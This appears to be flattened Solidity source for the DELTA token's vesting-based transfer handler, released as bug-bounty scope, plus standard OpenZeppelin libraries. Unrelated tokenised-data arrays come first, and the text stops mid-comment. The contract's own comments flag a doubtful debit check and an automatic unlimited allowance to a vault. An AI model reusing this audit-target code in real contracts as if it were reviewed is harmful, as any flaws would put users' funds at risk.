[ 1, 2083, 716, 5571, 2078, 777, 11077, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 10117, 6794, 12, 1080, 3778, 14063, 16, 26248, 4889, 13, 3903, 1476, 1135, 12, 2448, 8526, 3778, 13, 288, 203, 3639, 1731, 1578, 389, 88, 5448, 273, 14134, 2160, 1578, 12, 88, 5448, 1769, 203, 3639, 327, 1353, 9084, 63, 67, 88, 5448, 6362, 11890, 12, 5564, 13, 15533, 203, 377, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// DELTA-BUG-BOUNTY pragma solidity ^0.7.6; pragma abicoder v2; import "../../../libs/Address.sol"; import "../../../libs/SafeMath.sol"; import "../../Common/OVLBase.sol"; import "../../../../common/OVLTokenTypes.sol"; import "../../Common/OVLVestingCalculator.sol"; import "../../../../interfaces/IOVLTransferHandler.sol"; import "../../../../interfaces/IDeltaDistributor.sol"; import "../../../../interfaces/IDeltaToken.sol"; contract OVLTransferHandler is OVLBase, OVLVestingCalculator, IOVLTransferHandler { using SafeMath for uint256; using Address for address; address public constant UNI_DELTA_WETH_PAIR = 0x9EA3b5b4EC044b70375236A281986106457b20EF; address public constant DEEP_FARMING_VAULT = 0x9fE9Bb6B66958f2271C4B0aD23F6E8DDA8C221BE; event Transfer(address indexed from, address indexed to, uint256 value); constructor(address, address) { // ignored props } function _removeBalanceFromSender(UserInformation storage senderInfo, address sender, bool immatureReceiverWhitelisted, uint256 amount) internal returns (uint256 totalRemoved) { uint256 mostMatureTxIndex = senderInfo.mostMatureTxIndex; uint256 lastInTxIndex = senderInfo.lastInTxIndex; // We check if recipent can get immature tokens, if so we go from the most imature first to be most fair to the user if (immatureReceiverWhitelisted) { ////// //// // we go from the least mature balance to the msot mature meaning -- //// ///// uint256 accumulatedBalance; while (true) { uint256 leastMatureTxAmount = vestingTransactions[sender][lastInTxIndex].amount; // Can never underflow due to if conditional uint256 remainingBalanceNeeded = amount - accumulatedBalance; if (leastMatureTxAmount >= remainingBalanceNeeded) { // We got enough in this bucket to cover the amount // We remove it from total and dont adjust the fully vesting timestamp // Because there might be tokens left still in it totalRemoved += remainingBalanceNeeded; vestingTransactions[sender][lastInTxIndex].amount = leastMatureTxAmount - remainingBalanceNeeded; // safe math already checked // We got what we wanted we leave the loop break; } else { //we add the whole amount of this bucket to the accumulated balance accumulatedBalance = accumulatedBalance.add(leastMatureTxAmount); totalRemoved += leastMatureTxAmount; delete vestingTransactions[sender][lastInTxIndex]; // And go to the more mature tx if (lastInTxIndex == 0) { lastInTxIndex = QTY_EPOCHS; } lastInTxIndex--; // If we can't get enough in this tx and this is the last one, then we bail if (lastInTxIndex == mostMatureTxIndex) { // If we still have enough to cover in the mature balance we use that uint256 maturedBalanceNeeded = amount - accumulatedBalance; // Exhaustive underflow check senderInfo.maturedBalance = senderInfo.maturedBalance.sub(maturedBalanceNeeded, "OVLTransferHandler: Insufficient funds"); totalRemoved += maturedBalanceNeeded; break; } } } // We write to storage the lastTx Index, which was in memory and we looped over it (or not) senderInfo.lastInTxIndex = lastInTxIndex; return totalRemoved; // End of logic in case reciever is whitelisted ( return assures) } uint256 maturedBalance = senderInfo.maturedBalance; ////// //// // we go from the most mature balance up //// ///// if (maturedBalance >= amount) { senderInfo.maturedBalance = maturedBalance - amount; // safemath safe totalRemoved = amount; } else { // Possibly using a partially vested transaction uint256 accumulatedBalance = maturedBalance; totalRemoved = maturedBalance; // Use the entire balance to start senderInfo.maturedBalance = 0; while (amount > accumulatedBalance) { VestingTransaction memory mostMatureTx = vestingTransactions[sender][mostMatureTxIndex]; // Guaranteed by `while` condition uint256 remainingBalanceNeeded = amount - accumulatedBalance; // Reduce this transaction as the final one VestingTransactionDetailed memory dtx = getTransactionDetails(mostMatureTx, block.timestamp); // credit is how much i got from this bucket // So if i didnt get enough from this bucket here we zero it and move to the next one if (remainingBalanceNeeded >= dtx.mature) { totalRemoved += dtx.amount; accumulatedBalance = accumulatedBalance.add(dtx.mature); delete vestingTransactions[sender][mostMatureTxIndex]; // refund gas } else { // Remove the only needed amount // Calculating debt based on the actual clamped credit eliminates // the need for debit/credit ratio checks we initially had. // Big gas savings using this one weird trick. Vitalik HATES it. uint256 outputDebit = calculateTransactionDebit(dtx, remainingBalanceNeeded, block.timestamp); remainingBalanceNeeded = outputDebit.add(remainingBalanceNeeded); totalRemoved += remainingBalanceNeeded; // We dont need to adjust timestamp vestingTransactions[sender][mostMatureTxIndex].amount = mostMatureTx.amount.sub(remainingBalanceNeeded, "Removing too much from bucket"); break; } // If we just went throught he lasttx bucket, and we did not get enough then we bail // Note if its the lastTransaction it already had a break; if (mostMatureTxIndex == lastInTxIndex && accumulatedBalance < amount) { // accumulatedBalance < amount because of the case its exactly equal with first if // Avoid ever looping around a second time because that would be bad revert("OVLTransferHandler: Insufficient funds"); } // We just emptied this so most mature one must be the next one mostMatureTxIndex++; if(mostMatureTxIndex == QTY_EPOCHS) { mostMatureTxIndex = 0; } } // We remove the entire amount removed // We already added amount senderInfo.mostMatureTxIndex = mostMatureTxIndex; } } // function _transferTokensToRecipient(address recipient, UserInformation memory senderInfo, UserInformation memory recipientInfo, uint256 amount) internal { function _transferTokensToRecipient(UserInformation storage recipientInfo, bool isSenderWhitelisted, address recipient, uint256 amount) internal { // If the sender can send fully or this recipent is whitelisted to not get vesting we just add it to matured balance (bool noVestingWhitelisted, uint256 maturedBalance, uint256 lastTransactionIndex) = (recipientInfo.noVestingWhitelisted, recipientInfo.maturedBalance, recipientInfo.lastInTxIndex); if(isSenderWhitelisted || noVestingWhitelisted) { recipientInfo.maturedBalance = maturedBalance.add(amount); return; } VestingTransaction storage lastTransaction = vestingTransactions[recipient][lastTransactionIndex]; // Do i fit in this bucket? // conditions for fitting inside a bucket are // 1 ) Either its less than 2 days old // 2 ) Or its more than 14 days old // 3 ) Or we move to the next one - which is empty or already matured // Note that only the first bucket checked can logically be less than 2 days old, this is a important optimization // So lets take care of that case now, so its not checked in the loop. uint256 timestampNow = block.timestamp; uint256 fullVestingTimestamp = lastTransaction.fullVestingTimestamp; if (timestampNow >= fullVestingTimestamp) {// Its mature we move it to mature and override or we move to the next one, which is always either 0 or matured recipientInfo.maturedBalance = maturedBalance.add(lastTransaction.amount); lastTransaction.amount = amount; lastTransaction.fullVestingTimestamp = timestampNow + FULL_EPOCH_TIME; } else if (fullVestingTimestamp >= timestampNow + SECONDS_PER_EPOCH * (QTY_EPOCHS - 1)) {// we add 12 days // we avoid overflows from 0 fullyvestedtimestamp // if fullyVestingTimestamp is bigger than that we should increment // but not bigger than fullyVesting // This check is exhaustive // If this is the case we just put it in this bucket. lastTransaction.amount = lastTransaction.amount.add(amount); /// No need to adjust timestamp` } else { // We move into the next one lastTransactionIndex++; if (lastTransactionIndex == QTY_EPOCHS) { lastTransactionIndex = 0; } // Loop over recipientInfo.lastInTxIndex = lastTransactionIndex; // To figure out if this is a empty bucket or a stale one // Its either the most mature one // Or its 0 // There is no other logical options // If this is the most mature one then we go > with most mature uint256 mostMature = recipientInfo.mostMatureTxIndex; if (mostMature == lastTransactionIndex) { // It was the most mature one, so we have to increment the most mature index mostMature++; if (mostMature == QTY_EPOCHS) { mostMature = 0; } recipientInfo.mostMatureTxIndex = mostMature; } VestingTransaction storage evenLatestTransaction = vestingTransactions[recipient][lastTransactionIndex]; // Its mature we move it to mature and override or we move to the next one, which is always either 0 or matured recipientInfo.maturedBalance = maturedBalance.add(evenLatestTransaction.amount); evenLatestTransaction.amount = amount; evenLatestTransaction.fullVestingTimestamp = timestampNow + FULL_EPOCH_TIME; } } function addAllowanceToDFV(address sender) internal { // If you transferFrom from anyone even 1 gwei unit // This will force dfv to have infinite allowance // But this is not abug because DFV has defacto infinite allowance becaose of this function // So there is no change _allowances[sender][DEEP_FARMING_VAULT] = uint(-1); } function handleUniswapAdjustmenets() internal{ uint256 newLPSupply = IERC20(UNI_DELTA_WETH_PAIR).balanceOf(UNI_DELTA_WETH_PAIR); require(newLPSupply >= lpTokensInPair, "DELTAToken: Liquidity removals are forbidden"); // We allow people to bump the number of LP tokens inside the pair, but we dont allow them to go lower // Making liquidity withdrawals impossible // Because uniswap queries banaceOf before doing a burn, that means we can detect a inflow of LP tokens // But someone could send them and then reset with this function // This is why we "lock" the bigger amount here and dont allow a lower amount than the last time // Making it impossible to anyone who sent the liquidity tokens to the pair (which is nessesary to burn) not be able to burn them lpTokensInPair = newLPSupply; } // This function does not need authentication, because this is EXCLUSIVELY // ever meant to be called using delegatecall() from the main token. // The memory it modifies in DELTAToken is what effects user balances. function handleTransfer(address sender, address recipient, uint256 amount) external override { require(sender != recipient, "DELTAToken: Can not send DELTA to yourself"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); /// Liquidity removal protection if (!liquidityRebasingPermitted && (sender == UNI_DELTA_WETH_PAIR || recipient == UNI_DELTA_WETH_PAIR)) { handleUniswapAdjustmenets(); } if(recipient == DEEP_FARMING_VAULT) { addAllowanceToDFV(sender); } UserInformation storage recipientInfo = _userInformation[recipient]; UserInformation storage senderInfo = _userInformation[sender]; uint256 totalRemoved = _removeBalanceFromSender(senderInfo, sender, recipientInfo.immatureReceiverWhitelisted, amount); uint256 toDistributor = totalRemoved.sub(amount, "OVLTransferHandler: Insufficient funds"); // We remove from max balance totals senderInfo.maxBalance = senderInfo.maxBalance.sub(totalRemoved, "OVLTransferHandler: Insufficient funds"); // Sanity check require(totalRemoved >= amount, "OVLTransferHandler: Insufficient funds"); // Max is 90% of total removed require(amount.mul(9) >= toDistributor, "DELTAToken: Burned too many tokens"); if(toDistributor > 0) { _creditDistributor(sender, toDistributor); } ////// /// We add tokens to the recipient ////// _transferTokensToRecipient(recipientInfo, senderInfo.fullSenderWhitelisted, recipient, amount); // We add to total balance for sanity checks and uniswap router recipientInfo.maxBalance = recipientInfo.maxBalance.add(amount); emit Transfer(sender, recipient, amount); } function _creditDistributor(address creditedBy, uint256 amount) internal { address _distributor = distributor; // gas savings for storage reads UserInformation storage distributorInfo = _userInformation[distributor]; distributorInfo.maturedBalance = distributorInfo.maturedBalance.add(amount); // Should trigger an event here distributorInfo.maxBalance = distributorInfo.maxBalance.add(amount); IDeltaDistributor(_distributor).creditUser(creditedBy, amount); emit Transfer(creditedBy, _distributor, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // DELTA-BUG-BOUNTY pragma abicoder v2; pragma solidity ^0.7.6; import "./../../../common/OVLTokenTypes.sol"; contract OVLBase { // Shared state begin v0 mapping (address => VestingTransaction[QTY_EPOCHS]) public vestingTransactions; mapping (address => UserInformation) internal _userInformation; mapping (address => uint256) internal _maxPossibleBalances; mapping (address => mapping (address => uint256)) internal _allowances; address public distributor; uint256 public lpTokensInPair; bool public liquidityRebasingPermitted; uint256 [72] private _gap; // Shared state end of v0 } // SPDX-License-Identifier: UNLICENSED // DELTA-BUG-BOUNTY pragma solidity ^0.7.6; struct VestingTransaction { uint256 amount; uint256 fullVestingTimestamp; } struct WalletTotals { uint256 mature; uint256 immature; uint256 total; } struct UserInformation { // This is going to be read from only [0] uint256 mostMatureTxIndex; uint256 lastInTxIndex; uint256 maturedBalance; uint256 maxBalance; bool fullSenderWhitelisted; // Note that recieving immature balances doesnt mean they recieve them fully vested just that senders can do it bool immatureReceiverWhitelisted; bool noVestingWhitelisted; } struct UserInformationLite { uint256 maturedBalance; uint256 maxBalance; uint256 mostMatureTxIndex; uint256 lastInTxIndex; } struct VestingTransactionDetailed { uint256 amount; uint256 fullVestingTimestamp; // uint256 percentVestedE4; uint256 mature; uint256 immature; } uint256 constant QTY_EPOCHS = 7; uint256 constant SECONDS_PER_EPOCH = 172800; // About 2days uint256 constant FULL_EPOCH_TIME = SECONDS_PER_EPOCH * QTY_EPOCHS; // Precision Multiplier -- this many zeros (23) seems to get all the precision needed for all 18 decimals to be only off by a max of 1 unit uint256 constant PM = 1e23; // DELTA-BUG-BOUNTY pragma solidity ^0.7.6; pragma abicoder v2; import "./../../../common/OVLTokenTypes.sol"; import "../../../interfaces/IOVLVestingCalculator.sol"; import "../../libs/SafeMath.sol"; contract OVLVestingCalculator is IOVLVestingCalculator { using SafeMath for uint256; function getTransactionDetails(VestingTransaction memory _tx) public view override returns (VestingTransactionDetailed memory dtx) { return getTransactionDetails(_tx, block.timestamp); } function getTransactionDetails(VestingTransaction memory _tx, uint256 _blockTimestamp) public pure override returns (VestingTransactionDetailed memory dtx) { if(_tx.fullVestingTimestamp == 0) { return dtx; } dtx.amount = _tx.amount; dtx.fullVestingTimestamp = _tx.fullVestingTimestamp; // at precision E4, 1000 is 10% uint256 timeRemaining; if(_blockTimestamp >= dtx.fullVestingTimestamp) { // Fully vested dtx.mature = _tx.amount; return dtx; } else { timeRemaining = dtx.fullVestingTimestamp - _blockTimestamp; } uint256 percentWaitingToVestE4 = timeRemaining.mul(1e4) / FULL_EPOCH_TIME; uint256 percentWaitingToVestE4Scaled = percentWaitingToVestE4.mul(90) / 100; dtx.immature = _tx.amount.mul(percentWaitingToVestE4Scaled) / 1e4; dtx.mature = _tx.amount.sub(dtx.immature); } function getMatureBalance(VestingTransaction memory _tx, uint256 _blockTimestamp) public pure override returns (uint256 mature) { if(_tx.fullVestingTimestamp == 0) { return 0; } uint256 timeRemaining; if(_blockTimestamp >= _tx.fullVestingTimestamp) { // Fully vested return _tx.amount; } else { timeRemaining = _tx.fullVestingTimestamp - _blockTimestamp; } uint256 percentWaitingToVestE4 = timeRemaining.mul(1e4) / FULL_EPOCH_TIME; uint256 percentWaitingToVestE4Scaled = percentWaitingToVestE4.mul(90) / 100; mature = _tx.amount.mul(percentWaitingToVestE4Scaled) / 1e4; mature = _tx.amount.sub(mature); // the subtracted value represents the immature balance at this point } function calculateTransactionDebit(VestingTransactionDetailed memory dtx, uint256 matureAmountNeeded, uint256 currentTimestamp) public pure override returns (uint256 outputDebit) { if(dtx.fullVestingTimestamp > currentTimestamp) { // This will be between 0 and 100*pm representing how much of the mature pool is needed uint256 percentageOfMatureCoinsConsumed = matureAmountNeeded.mul(PM).div(dtx.mature); require(percentageOfMatureCoinsConsumed <= PM, "OVLTransferHandler: Insufficient funds"); // Calculate the number of immature coins that need to be debited based on this ratio outputDebit = dtx.immature.mul(percentageOfMatureCoinsConsumed) / PM; } // shouldnt this use outputDebit require(dtx.amount <= dtx.mature.add(dtx.immature), "DELTAToken: Balance maximum problem"); // Just in case } } pragma experimental ABIEncoderV2; pragma solidity ^0.7.6; interface IOVLTransferHandler { function handleTransfer(address sender, address recipient, uint256 amount) external; } pragma solidity ^0.7.6; interface IDeltaDistributor { function creditUser(address,uint256) external; function addDevested(address, uint256) external; function distribute() external; } // SPDX-License-Identifier: UNLICENSED pragma experimental ABIEncoderV2; pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../common/OVLTokenTypes.sol"; interface IDeltaToken is IERC20 { function vestingTransactions(address, uint256) external view returns (VestingTransaction memory); function getUserInfo(address) external view returns (UserInformationLite memory); function getMatureBalance(address, uint256) external view returns (uint256); function liquidityRebasingPermitted() external view returns (bool); function lpTokensInPair() external view returns (uint256); function governance() external view returns (address); function performLiquidityRebasing() external; function distributor() external view returns (address); function totalsForWallet(address ) external view returns (WalletTotals memory totals); function adjustBalanceOfNoVestingAccount(address, uint256,bool) external; function userInformation(address user) external view returns (UserInformation memory); } pragma solidity ^0.7.6; pragma abicoder v2; import "../common/OVLTokenTypes.sol"; interface IOVLVestingCalculator { function getTransactionDetails(VestingTransaction memory _tx) external view returns (VestingTransactionDetailed memory dtx); function getTransactionDetails(VestingTransaction memory _tx, uint256 _blockTimestamp) external pure returns (VestingTransactionDetailed memory dtx); function getMatureBalance(VestingTransaction memory _tx, uint256 _blockTimestamp) external pure returns (uint256 mature); function calculateTransactionDebit(VestingTransactionDetailed memory dtx, uint256 matureAmountNeeded, uint256 currentTimestamp) external pure returns (uint256 outputDebit); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one 